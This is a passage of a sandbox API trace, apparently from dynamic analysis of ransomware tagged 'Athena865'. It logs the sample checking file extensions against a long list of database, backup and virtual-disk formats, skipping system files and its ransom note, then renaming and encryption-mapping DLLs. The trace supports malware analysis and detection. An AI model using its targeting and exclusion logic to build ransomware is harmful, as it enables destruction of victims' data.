[0109.661] lstrlenW (lpString="fdb") returned 3 [0109.661] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0109.661] lstrlenW (lpString="fic") returned 3 [0109.661] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0109.661] lstrlenW (lpString="flexolibrary") returned 12 [0109.661] lstrlenW (lpString="fm5") returned 3 [0109.662] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0109.662] lstrlenW (lpString="fmp") returned 3 [0109.662] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0109.662] lstrlenW (lpString="fmp12") returned 5 [0109.662] lstrcmpiW (lpString1="v.dll", lpString2="fmp12") returned 1 [0109.662] lstrlenW (lpString="fmpsl") returned 5 [0109.662] lstrcmpiW (lpString1="v.dll", lpString2="fmpsl") returned 1 [0109.662] lstrlenW (lpString="fol") returned 3 [0109.662] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0109.662] lstrlenW (lpString="fp3") returned 3 [0109.662] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0109.662] lstrlenW (lpString="fp4") returned 3 [0109.662] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0109.662] lstrlenW (lpString="fp5") returned 3 [0109.662] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0109.662] lstrlenW (lpString="fp7") returned 3 [0109.662] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0109.662] lstrlenW (lpString="fpt") returned 3 [0109.662] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0109.662] lstrlenW (lpString="frm") returned 3 [0109.662] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0109.662] lstrlenW (lpString="gdb") returned 3 [0109.662] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0109.662] lstrlenW (lpString="gdb") returned 3 [0109.662] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0109.662] lstrlenW (lpString="grdb") returned 4 [0109.662] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0109.662] lstrlenW (lpString="gwi") returned 3 [0109.662] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0109.663] lstrlenW (lpString="hdb") returned 3 [0109.663] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0109.663] lstrlenW (lpString="his") returned 3 [0109.663] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0109.663] lstrlenW (lpString="ib") returned 2 [0109.663] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0109.663] lstrlenW (lpString="idb") returned 3 [0109.663] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0109.663] lstrlenW (lpString="ihx") returned 3 [0109.663] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0109.663] lstrlenW (lpString="itdb") returned 4 [0109.663] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0109.663] lstrlenW (lpString="itw") returned 3 [0109.663] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0109.663] lstrlenW (lpString="jet") returned 3 [0109.663] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0109.663] lstrlenW (lpString="jtx") returned 3 [0109.663] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0109.663] lstrlenW (lpString="kdb") returned 3 [0109.663] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0109.663] lstrlenW (lpString="kexi") returned 4 [0109.663] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0109.663] lstrlenW (lpString="kexic") returned 5 [0109.663] lstrcmpiW (lpString1="v.dll", lpString2="kexic") returned 1 [0109.663] lstrlenW (lpString="kexis") returned 5 [0109.663] lstrcmpiW (lpString1="v.dll", lpString2="kexis") returned 1 [0109.663] lstrlenW (lpString="lgc") returned 3 [0109.663] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0109.664] lstrlenW (lpString="lwx") returned 3 [0109.664] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0109.664] lstrlenW (lpString="maf") returned 3 [0109.664] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0109.664] lstrlenW (lpString="maq") returned 3 [0109.664] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0109.664] lstrlenW (lpString="mar") returned 3 [0109.664] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0109.664] lstrlenW (lpString="marshal") returned 7 [0109.664] lstrcmpiW (lpString1="Div.dll", lpString2="marshal") returned -1 [0109.664] lstrlenW (lpString="mas") returned 3 [0109.664] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0109.664] lstrlenW (lpString="mav") returned 3 [0109.664] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0109.664] lstrlenW (lpString="maw") returned 3 [0109.664] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0109.664] lstrlenW (lpString="mdbhtml") returned 7 [0109.664] lstrcmpiW (lpString1="Div.dll", lpString2="mdbhtml") returned -1 [0109.664] lstrlenW (lpString="mdn") returned 3 [0109.664] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0109.664] lstrlenW (lpString="mdt") returned 3 [0109.664] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0109.664] lstrlenW (lpString="mfd") returned 3 [0109.664] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0109.664] lstrlenW (lpString="mpd") returned 3 [0109.664] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0109.664] lstrlenW (lpString="mrg") returned 3 [0109.664] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0109.664] lstrlenW (lpString="mud") returned 3 [0109.665] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0109.665] lstrlenW (lpString="mwb") returned 3 [0109.665] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0109.665] lstrlenW (lpString="myd") returned 3 [0109.665] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0109.665] lstrlenW (lpString="ndf") returned 3 [0109.665] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0109.665] lstrlenW (lpString="nnt") returned 3 [0109.665] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0109.665] lstrlenW (lpString="nrmlib") returned 6 [0109.665] lstrcmpiW (lpString1="iv.dll", lpString2="nrmlib") returned -1 [0109.665] lstrlenW (lpString="ns2") returned 3 [0109.665] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0109.665] lstrlenW (lpString="ns3") returned 3 [0109.665] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0109.665] lstrlenW (lpString="ns4") returned 3 [0109.665] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0109.665] lstrlenW (lpString="nsf") returned 3 [0109.665] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0109.665] lstrlenW (lpString="nv") returned 2 [0109.665] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0109.665] lstrlenW (lpString="nv2") returned 3 [0109.665] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0109.665] lstrlenW (lpString="nwdb") returned 4 [0109.665] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0109.665] lstrlenW (lpString="nyf") returned 3 [0109.665] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0109.665] lstrlenW (lpString="odb") returned 3 [0109.665] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0109.666] lstrlenW (lpString="odb") returned 3 [0109.666] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0109.666] lstrlenW (lpString="oqy") returned 3 [0109.666] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0109.666] lstrlenW (lpString="ora") returned 3 [0109.666] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0109.666] lstrlenW (lpString="orx") returned 3 [0109.666] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0109.666] lstrlenW (lpString="owc") returned 3 [0109.666] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0109.666] lstrlenW (lpString="p96") returned 3 [0109.666] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0109.666] lstrlenW (lpString="p97") returned 3 [0109.666] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0109.666] lstrlenW (lpString="pan") returned 3 [0109.666] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0109.666] lstrlenW (lpString="pdb") returned 3 [0109.666] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0109.666] lstrlenW (lpString="pdm") returned 3 [0109.666] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0109.666] lstrlenW (lpString="pnz") returned 3 [0109.666] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0109.666] lstrlenW (lpString="qry") returned 3 [0109.666] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0109.666] lstrlenW (lpString="qvd") returned 3 [0109.666] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0109.666] lstrlenW (lpString="rbf") returned 3 [0109.666] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0109.666] lstrlenW (lpString="rctd") returned 4 [0109.667] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0109.667] lstrlenW (lpString="rod") returned 3 [0109.667] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0109.667] lstrlenW (lpString="rodx") returned 4 [0109.667] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0109.667] lstrlenW (lpString="rpd") returned 3 [0109.667] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0109.667] lstrlenW (lpString="rsd") returned 3 [0109.667] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0109.667] lstrlenW (lpString="sas7bdat") returned 8 [0109.667] lstrcmpiW (lpString1="kDiv.dll", lpString2="sas7bdat") returned -1 [0109.667] lstrlenW (lpString="sbf") returned 3 [0109.667] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0109.667] lstrlenW (lpString="scx") returned 3 [0109.667] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0109.667] lstrlenW (lpString="sdb") returned 3 [0109.667] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0109.667] lstrlenW (lpString="sdc") returned 3 [0109.667] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0109.667] lstrlenW (lpString="sdf") returned 3 [0109.667] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0109.667] lstrlenW (lpString="sis") returned 3 [0109.667] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0109.667] lstrlenW (lpString="spq") returned 3 [0109.667] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0109.667] lstrlenW (lpString="te") returned 2 [0109.667] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0109.667] lstrlenW (lpString="teacher") returned 7 [0109.667] lstrcmpiW (lpString1="Div.dll", lpString2="teacher") returned -1 [0109.668] lstrlenW (lpString="tmd") returned 3 [0109.668] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0109.668] lstrlenW (lpString="tps") returned 3 [0109.668] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0109.668] lstrlenW (lpString="trc") returned 3 [0109.668] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0109.668] lstrlenW (lpString="trc") returned 3 [0109.668] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0109.668] lstrlenW (lpString="trm") returned 3 [0109.668] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0109.668] lstrlenW (lpString="udb") returned 3 [0109.668] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0109.668] lstrlenW (lpString="udl") returned 3 [0109.668] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0109.668] lstrlenW (lpString="usr") returned 3 [0109.668] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0109.668] lstrlenW (lpString="v12") returned 3 [0109.668] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0109.668] lstrlenW (lpString="vis") returned 3 [0109.668] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0109.668] lstrlenW (lpString="vpd") returned 3 [0109.668] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0109.668] lstrlenW (lpString="vvv") returned 3 [0109.668] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0109.668] lstrlenW (lpString="wdb") returned 3 [0109.668] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0109.668] lstrlenW (lpString="wmdb") returned 4 [0109.668] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0109.668] lstrlenW (lpString="wrk") returned 3 [0109.669] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0109.669] lstrlenW (lpString="xdb") returned 3 [0109.669] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0109.669] lstrlenW (lpString="xld") returned 3 [0109.669] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0109.669] lstrlenW (lpString="xmlff") returned 5 [0109.669] lstrcmpiW (lpString1="v.dll", lpString2="xmlff") returned -1 [0109.669] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll.Athena865") returned 71 [0109.669] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll.athena865"), dwFlags=0x1) returned 1 [0109.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0109.671] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=353280) returned 1 [0109.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0109.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0109.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0109.671] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0109.672] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0109.672] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0109.672] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x56700, lpName=0x0) returned 0x17c [0109.675] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x56700) returned 0x2d50000 [0109.692] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0109.693] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0109.693] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0109.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0109.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0109.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0109.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0109.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0109.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0109.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0109.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0109.694] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0109.697] CloseHandle (hObject=0x17c) returned 1 [0109.697] CloseHandle (hObject=0x154) returned 1 [0109.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0109.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0109.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0109.699] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0109.699] lstrcmpiW (lpString1="InkObj.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0109.699] lstrcmpiW (lpString1="InkObj.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0109.699] lstrcmpiW (lpString1="InkObj.dll", lpString2=".") returned 1 [0109.699] lstrcmpiW (lpString1="InkObj.dll", lpString2="..") returned 1 [0109.699] lstrcmpiW (lpString1="InkObj.dll", lpString2="windows") returned -1 [0109.699] lstrcmpiW (lpString1="InkObj.dll", lpString2="bootmgr") returned 1 [0109.699] lstrcmpiW (lpString1="InkObj.dll", lpString2="temp") returned -1 [0109.699] lstrcmpiW (lpString1="InkObj.dll", lpString2="pagefile.sys") returned -1 [0109.699] lstrcmpiW (lpString1="InkObj.dll", lpString2="boot") returned 1 [0109.699] lstrcmpiW (lpString1="InkObj.dll", lpString2="ids.txt") returned 1 [0109.699] lstrcmpiW (lpString1="InkObj.dll", lpString2="ntuser.dat") returned -1 [0109.699] lstrcmpiW (lpString1="InkObj.dll", lpString2="perflogs") returned -1 [0109.699] lstrcmpiW (lpString1="InkObj.dll", lpString2="MSBuild") returned -1 [0109.699] lstrlenW (lpString="InkObj.dll") returned 10 [0109.699] lstrcpyW (in: lpString1=0x241e8ae, lpString2="InkObj.dll" | out: lpString1="InkObj.dll") returned="InkObj.dll" [0109.699] lstrlenW (lpString="InkObj.dll") returned 10 [0109.699] lstrlenW (lpString="Athena865") returned 9 [0109.699] lstrcmpiW (lpString1="nkObj.dll", lpString2="Athena865") returned 1 [0109.699] lstrlenW (lpString=".dll") returned 4 [0109.699] lstrcmpiW (lpString1="InkObj.dll", lpString2=".dll") returned 1 [0109.699] lstrlenW (lpString=".lnk") returned 4 [0109.699] lstrcmpiW (lpString1="InkObj.dll", lpString2=".lnk") returned 1 [0109.699] lstrlenW (lpString=".ini") returned 4 [0109.699] lstrcmpiW (lpString1="InkObj.dll", lpString2=".ini") returned 1 [0109.699] lstrlenW (lpString=".sys") returned 4 [0109.699] lstrcmpiW (lpString1="InkObj.dll", lpString2=".sys") returned 1 [0109.699] lstrlenW (lpString="InkObj.dll") returned 10 [0109.700] lstrlenW (lpString="bak") returned 3 [0109.700] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0109.700] lstrlenW (lpString="ba_") returned 3 [0109.700] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0109.700] lstrlenW (lpString="dbb") returned 3 [0109.700] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0109.700] lstrlenW (lpString="vmdk") returned 4 [0109.700] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0109.700] lstrlenW (lpString="rar") returned 3 [0109.700] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0109.700] lstrlenW (lpString="zip") returned 3 [0109.700] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0109.700] lstrlenW (lpString="tgz") returned 3 [0109.700] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0109.700] lstrlenW (lpString="vbox") returned 4 [0109.700] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0109.700] lstrlenW (lpString="vdi") returned 3 [0109.700] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0109.700] lstrlenW (lpString="vhd") returned 3 [0109.700] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0109.700] lstrlenW (lpString="vhdx") returned 4 [0109.700] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0109.700] lstrlenW (lpString="avhd") returned 4 [0109.700] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0109.700] lstrlenW (lpString="db") returned 2 [0109.700] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0109.700] lstrlenW (lpString="db2") returned 3 [0109.700] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0109.700] lstrlenW (lpString="db3") returned 3 [0109.701] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0109.701] lstrlenW (lpString="dbf") returned 3 [0109.701] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0109.701] lstrlenW (lpString="mdf") returned 3 [0109.701] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0109.701] lstrlenW (lpString="mdb") returned 3 [0109.701] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0109.701] lstrlenW (lpString="sql") returned 3 [0109.701] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0109.701] lstrlenW (lpString="sqlite") returned 6 [0109.701] lstrcmpiW (lpString1="bj.dll", lpString2="sqlite") returned -1 [0109.701] lstrlenW (lpString="sqlite3") returned 7 [0109.701] lstrcmpiW (lpString1="Obj.dll", lpString2="sqlite3") returned -1 [0109.701] lstrlenW (lpString="sqlitedb") returned 8 [0109.701] lstrcmpiW (lpString1="kObj.dll", lpString2="sqlitedb") returned -1 [0109.701] lstrlenW (lpString="xml") returned 3 [0109.702] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0109.702] lstrlenW (lpString="$er") returned 3 [0109.702] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0109.702] lstrlenW (lpString="4dd") returned 3 [0109.702] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0109.702] lstrlenW (lpString="4dl") returned 3 [0109.702] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0109.702] lstrlenW (lpString="^^^") returned 3 [0109.702] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0109.702] lstrlenW (lpString="abs") returned 3 [0109.702] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0109.702] lstrlenW (lpString="abx") returned 3 [0109.702] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0109.702] lstrlenW (lpString="accdb") returned 5 [0109.702] lstrcmpiW (lpString1="j.dll", lpString2="accdb") returned 1 [0109.702] lstrlenW (lpString="accdc") returned 5 [0109.702] lstrcmpiW (lpString1="j.dll", lpString2="accdc") returned 1 [0109.703] lstrlenW (lpString="accde") returned 5 [0109.703] lstrcmpiW (lpString1="j.dll", lpString2="accde") returned 1 [0109.703] lstrlenW (lpString="accdr") returned 5 [0109.703] lstrcmpiW (lpString1="j.dll", lpString2="accdr") returned 1 [0109.703] lstrlenW (lpString="accdt") returned 5 [0109.703] lstrcmpiW (lpString1="j.dll", lpString2="accdt") returned 1 [0109.703] lstrlenW (lpString="accdw") returned 5 [0109.703] lstrcmpiW (lpString1="j.dll", lpString2="accdw") returned 1 [0109.703] lstrlenW (lpString="accft") returned 5 [0109.703] lstrcmpiW (lpString1="j.dll", lpString2="accft") returned 1 [0109.703] lstrlenW (lpString="adb") returned 3 [0109.703] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0109.703] lstrlenW (lpString="adb") returned 3 [0109.703] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0109.703] lstrlenW (lpString="ade") returned 3 [0109.703] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0109.703] lstrlenW (lpString="adf") returned 3 [0109.703] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0109.703] lstrlenW (lpString="adn") returned 3 [0109.703] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0109.703] lstrlenW (lpString="adp") returned 3 [0109.703] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0109.703] lstrlenW (lpString="alf") returned 3 [0109.703] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0109.703] lstrlenW (lpString="ask") returned 3 [0109.703] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0109.703] lstrlenW (lpString="btr") returned 3 [0109.703] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0109.704] lstrlenW (lpString="cat") returned 3 [0109.704] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0109.704] lstrlenW (lpString="cdb") returned 3 [0109.704] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0109.704] lstrlenW (lpString="ckp") returned 3 [0109.704] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0109.704] lstrlenW (lpString="cma") returned 3 [0109.704] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0109.704] lstrlenW (lpString="cpd") returned 3 [0109.704] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0109.704] lstrlenW (lpString="dacpac") returned 6 [0109.704] lstrcmpiW (lpString1="bj.dll", lpString2="dacpac") returned -1 [0109.704] lstrlenW (lpString="dad") returned 3 [0109.704] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0109.704] lstrlenW (lpString="dadiagrams") returned 10 [0109.704] lstrlenW (lpString="daschema") returned 8 [0109.704] lstrcmpiW (lpString1="kObj.dll", lpString2="daschema") returned 1 [0109.704] lstrlenW (lpString="db-journal") returned 10 [0109.704] lstrlenW (lpString="db-shm") returned 6 [0109.704] lstrcmpiW (lpString1="bj.dll", lpString2="db-shm") returned -1 [0109.704] lstrlenW (lpString="db-wal") returned 6 [0109.704] lstrcmpiW (lpString1="bj.dll", lpString2="db-wal") returned -1 [0109.704] lstrlenW (lpString="dbc") returned 3 [0109.704] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0109.704] lstrlenW (lpString="dbs") returned 3 [0109.704] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0109.704] lstrlenW (lpString="dbt") returned 3 [0109.704] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0109.704] lstrlenW (lpString="dbv") returned 3 [0109.704] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0109.705] lstrlenW (lpString="dbx") returned 3 [0109.705] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0109.705] lstrlenW (lpString="dcb") returned 3 [0109.705] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0109.705] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0109.705] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0109.705] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0109.705] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0109.705] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0109.705] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.Athena865") returned 71 [0109.705] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.athena865"), dwFlags=0x1) returned 1 [0109.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 